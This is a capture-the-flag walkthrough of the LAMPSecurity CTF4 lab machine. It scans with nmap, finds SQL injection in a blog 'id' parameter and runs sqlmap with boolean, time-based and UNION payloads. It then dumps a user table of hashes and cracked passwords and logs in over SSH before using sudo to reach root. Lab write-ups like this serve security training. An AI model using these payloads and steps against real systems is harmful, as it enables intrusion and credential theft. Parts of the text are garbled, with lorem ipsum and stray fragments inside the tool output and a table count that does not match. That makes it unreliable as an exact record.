

## LAMPSecurity: CTF4

We start with nmap scan .

We run the following command : nmap -A 10.0.2.1-254

```
Nmap scan report for 10.0.2.15
Host is up (0.75s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
|   1024 10:4a:18:f8:97:e0:72:27:b5:a4:33:93:3d:aa:9d:ef (DSA)
|   2048 e7:70:d3:81:00:41:b8:6e:fd:31:ae:0e:00:ea:5c:b4 (RSA)
25/tcp    open  smtp     Sendmail 8.13.5/8.13.5
| smtp-commands: ctf4.sas.upenn.edu Hello [10.0.2.12], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP, 2.0.0 This is sendmail version 8.13.5 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation send email to 2.0.0 s endmail-bugs@sendmail.org. 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info
80/tcp    open  http     Apache httpd 2.2.0 ((Fedora))
| http-robots.txt: 5 disallowed entries
|_ /mail/ /restricted/ /conf/ /sql/ /admin/
|_ http-server-header: Apache/2.2.0 (Fedora)
|_ http-title: Prof. Ehks
631/tcp   closed  ipp     Client per conubia nostra, per Incepitos himenaeos. Nulla facilisi. Quisque a nisi sit amet risus fringilla commodo. Aenean tellus. Service Info: Host: ctf4.sas.upenn.edu; OS: Unix
```

After finding the IP, type it on firefox to get the following website.

The screenshot shows a Firefox browser window with the URL `10.0.2.15/index.html?title=Home Page`. The page title is "Professor Ehks Center for Data Studies". The main content area has a heading "Welcome" followed by two paragraphs of placeholder text (lorem ipsum). The browser interface includes a back/forward button, a search bar, and a "Go" button.

After surfing through the website I found a SQL injection is possible in the following url in id parameter upon injecting a single quote (').

<http://10.0.2.15/index.html?page=blog&title=Blog&id=2>

The screenshot shows the same Firefox browser window as the previous one, but the URL is now `http://10.0.2.15/index.html?page=blog&title=Blog&id=2`. The page content now displays an error message: "Warning: mysql\_fetch\_row(): supplied argument is not a valid MySQL result resource in /var/www/html/pages/blog.php on line 20". Below the message is a link "webmaster".

I decided to run sqlmap on the request. So I refreshed the page and intercepted it using burpsuite. Copied the request into a text file.

Pretty Raw In Actions ▾

```
1 GET /index.html?page=blog&title=Blog&id=2 HTTP/1.1
2 Host: 10.0.2.15
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://10.0.2.15/index.html?page=blog&title=Blog
8 Connection: close
9 Upgrade-Insecure-Requests: 1
10 Cache-Control: max-age=0
11
12
```

Next I ran the following sqlmap command on the terminal.

```
sqlmap -r filename.txt --level=3 --risk=2 --dbs
```

```
[23:14:48] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:14:48] [INFO] target URL appears to have 5 columns in query
[23:14:48] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 7486 HTTP(s) requests:
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: page=blog&title=Blog&id=2 AND 2528=2528

  Type: time-based blind (64, vr:78.0) [Beckof2010] [FareFox] [78.0]
  Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
  Payload: page=blog&title=Blog&id=2 AND (SELECT 9397 FROM (SELECT(SLEEP(5)))liyr)

  Type: UNION query
  Title: Generic UNION query (NULL) - 5 columns
  Payload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,NULL,CONCAT(0x7162627671,0x71724243494c526d7167674b6c52644473696772646d4c6e706a42484369775263494f78726e614c,0x71706a6b71),NULL,NULL--
```

```
[23:14:58] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[23:14:58] [INFO] fetching database names
available databases [6]:
[*] calendar
[*] ehks
[*] information_schema x0E_54, rv:70.0) Gacko/20100101 Firefox/70.0
[*] mysql
[*] roundcubemail
[*] test
```

	Raw	Headers	Hex
00	<?xml version="1.0" encoding="UTF-8"?>		
01	<?xml>		
02	<form>		
03	<input type="text" value="Log In"/>		
04	</form>		
05	<table>		
06	<thead>		
07	<tr>		
08	<td>		
09	<td>		
0A	</tr>		
0B	</thead>		
0C	<tbody>		
0D	<tr>		
0E	<td>		
0F	<td>		
10	</tr>		
11	</tbody>		
12	</table>		
13	</body>		
14	</html>		

Got all databases available. Next step is to find information about tables from ehks database (since the website belongs to Professor Ehks) using the following command.

```
sqlmap -r filename.txt -D ehks --tables --dump --batch
```

Database: ehks

Table: user

[6 entries]

	user_id	user_name	user_pass	Actions
1	dstevens	02e823a15a392b5aa4ff4ccb9060fa68	(ilike2surf)	<a href="#">Raw</a> <a href="#">Render</a> <a href="#">In</a> <a href="#">Actions</a>
2	achen	b46265fe1ffaa3beab09d5c28739380	(seventysixers)	<a href="#">Raw</a> <a href="#">Render</a> <a href="#">In</a> <a href="#">Actions</a>
3	pmoore	8f4743c04ed8e5f39166a81f26319bb5	(Homesite)	<a href="#">Raw</a> <a href="#">Render</a> <a href="#">In</a> <a href="#">Actions</a>
4	jdurbin	7c7bc9f465b86b8164686ebbb5151a717	(Sue1978)	<a href="#">Raw</a> <a href="#">Render</a> <a href="#">In</a> <a href="#">Actions</a>
5	sorzek	6d41f88b9276aece4b0edec25b7a434	(pacman)	<a href="#">Raw</a> <a href="#">Render</a> <a href="#">In</a> <a href="#">Actions</a>
6	ghighland	9f3eb3087298ff21843cc4e013cf355f	(undone1)	<a href="#">Raw</a> <a href="#">Render</a> <a href="#">In</a> <a href="#">Actions</a>

We see that we got 3 tables and also the contents of the 3 tables.

The content from user table contains the username and password. From the nmap scan , it is known that ssh port 22 is open.

So we would try to get in using the above credentials through ssh using following command.

```
ssh achen@10.0.2.15
```

It displayed the following error :

```
Unable to negotiate with 10.0.2.15 port 22: no matching key exchange method found. Their offer:
```

```
diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
```

Its solution would be to use :

```
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 achen@10.0.2.15
```

We type the password : seventysixers

And we are in.

Next we try getting root and a sudo su command sufficed.

```
(root㉿kali)-[~]
# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 achen@10.0.2.15
BSD SSH 4.1
achen@10.0.2.15's password:
Last login: Wed May 26 18:00:31 2021
[achen@ctf4 ~]$ ls
bin Desktop html linux_administration.pdf mail
[achen@ctf4 ~]$ cd /
[achen@ctf4 /]$ whoami
achen
[achen@ctf4 /]$ ls
bin boot dev etc home lib lost+found media misc mnt net opt proc root sbin selinux srv sys tmp usr var
[achen@ctf4 /]$ cd root
-bash: cd: root: Permission denied
[achen@ctf4 /]$ sudo su
[achen@ctf4 /]# ls
[root@ctf4 /]# ls
[root@ctf4 /]#
```